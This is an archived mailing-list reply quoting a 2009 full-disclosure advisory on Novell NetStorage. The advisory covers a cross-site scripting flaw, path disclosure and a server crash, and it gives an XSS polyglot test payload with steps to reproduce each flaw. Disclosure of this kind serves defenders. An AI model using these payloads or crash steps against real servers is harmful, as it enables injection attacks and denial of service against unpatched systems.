|
|
[ Message Precedent sur la mailing][ Message Suivant sur la mailing][ Precedent dans le fil][ Prochain dans le fil][ Index par Date][ Index par fil]
Re: [Full-disclosure] Novell Netstorage Multiple Vulnerabilities
I like you name, hehe.
On Thu, Mar 26, 2009 at 8:50 PM, Bugs NotHugs <bugsnothugs@xxxxxxxxx> wrote:
> - Novell Netstorage Multiple Vulnerabilities
>
> - Description
>
> "Novell NetStorage acts as a bridge between a company's protected Novell network
> and the Internet, providing protected file access from any Internet
> location. Files
> and folders on a Novell NetWare® 6.5 server or Novell Open Enterprise
> Server can be
> accessed using either a browser or via Network Neighborhood and Microsoft Web
> Folders; no Novell Client^Ù software is required. Users can securely
> access files
> from any IP-enabled machine via Secure Sockets Layer (SSL) and Secure Hypertext
> Transfer Protocol (HTTPS)."
>
> Novell NetStorage contains a wide variety of vulnerabilities that may
> allow an attacker
> to cause a denial of service, gain configuration information or exploit other
> users of the application.
>
> #1 - Filter Field XSS
>
> The 'filter' field does not sanitize user-supplied input. An attacker
> could use this
> to carry out cross-site scripting attacks against other authenticated users.
>
> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//-->
> </SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
>
> #2 - Mail File Action Path Disclosure
>
> On a file list, if a user right clicks a file, chooses the 'mail'
> option and then
> pastes script code in any field, the application will produce an error message
> disclosing the installation path:
>
> Paste the following script:
>
> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--><
> /SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
>
> Resulting error:
>
> OES:
> 'file:/var/opt/novell/novlwww/email.xsl': (1): mismatched end tag:
> expected "to" but got "SCRIPT"
>
> Netware:
> 'file:/SYS:/tomcat/4/email.xsl': (1): mismatched end tag: expected
> "subject" but got "SCRIPT"
>
> #3 - File Attribute Malformed Input Server DoS
>
> When interacting with files, a user can right click on the file and click
> either 'NFS Info' or 'Netware Info'. Supplying script code into various fields
> will cause the Netware server to abend and lock up.
>
> Note: This was only tested on version 2.0.1 on netware 6.5 SP6, not OES.
>
> The following script code causes the issue:
>
> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--><
> /SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
>
> - Product
>
> Novell Inc., Netstorage, 3.1.5-19 on OES - 2.0.1 on netware 6.5 SP6
>
> - Solution
>
> None
>
> - Timeline
>
> 2008-06-06: Vulnerability Discovered
> 2008-07-07: Disclosed to Vendor (no ack)
> 2008-10-05: Re-sent to Vendor (no ack)
> 2009-03-26: Disclosed to Public (no more playing nice)
>
> --
>
> BugsNotHugs
> Shared Vulnerability Disclosure Account
>
>
> Full-Disclosure - We believe in it.
> Charter: link://[click]
> Hosted and sponsored by Secunia - link://[click]
>
Full-Disclosure - We believe in it.
Charter: link://[click]
Hosted and sponsored by Secunia - link://[click]
Archives de la liste de diffusion Secunia
Archives de la liste de diffusion Full Disclosure
| Mini-Tagwall des articles publiés sur SecuObs : | | | | sécurité, exploit, windows, attaque, outil, microsoft, réseau, audit, metasploit, vulnérabilité, système, virus, internet, usbsploit, données, source, linux, protocol, présentation, scanne, réseaux, scanner, bluetooth, conférence, reverse, shell, meterpreter, vista, rootkit, détection, mobile, security, malicieux, engineering, téléphone, paquet, trames, https, noyau, utilisant, intel, wishmaster, google, sysun, libre |
| Mini-Tagwall de l'annuaire video : | | | | curit, security, biomet, metasploit, biometric, cking, password, windows, botnet, defcon, tutorial, crypt, xploit, exploit, lockpicking, linux, attack, wireshark, vmware, rootkit, conference, network, shmoocon, backtrack, virus, conficker, elcom, etter, elcomsoft, server, meterpreter, openvpn, ettercap, openbs, iphone, shell, openbsd, iptables, securitytube, deepsec, source, office, systm, openssh, radio |
| Mini-Tagwall des articles de la revue de presse : | | | | security, microsoft, windows, hacker, attack, network, vulnerability, google, exploit, malware, internet, remote, iphone, server, inject, patch, apple, twitter, mobile, virus, ebook, facebook, vulnérabilité, crypt, source, linux, password, intel, research, virtual, phish, access, tutorial, trojan, social, privacy, firefox, adobe, overflow, office, cisco, conficker, botnet, pirate, sécurité |
| Mini-Tagwall des Tweets de la revue Twitter : | | | | security, linux, botnet, attack, metasploit, cisco, defcon, phish, exploit, google, inject, server, firewall, network, twitter, vmware, windows, microsoft, compliance, vulnerability, python, engineering, source, kernel, crypt, social, overflow, nessus, crack, hacker, virus, iphone, patch, virtual, javascript, malware, conficker, pentest, research, email, password, adobe, apache, proxy, backtrack |
|
|
|
|
|
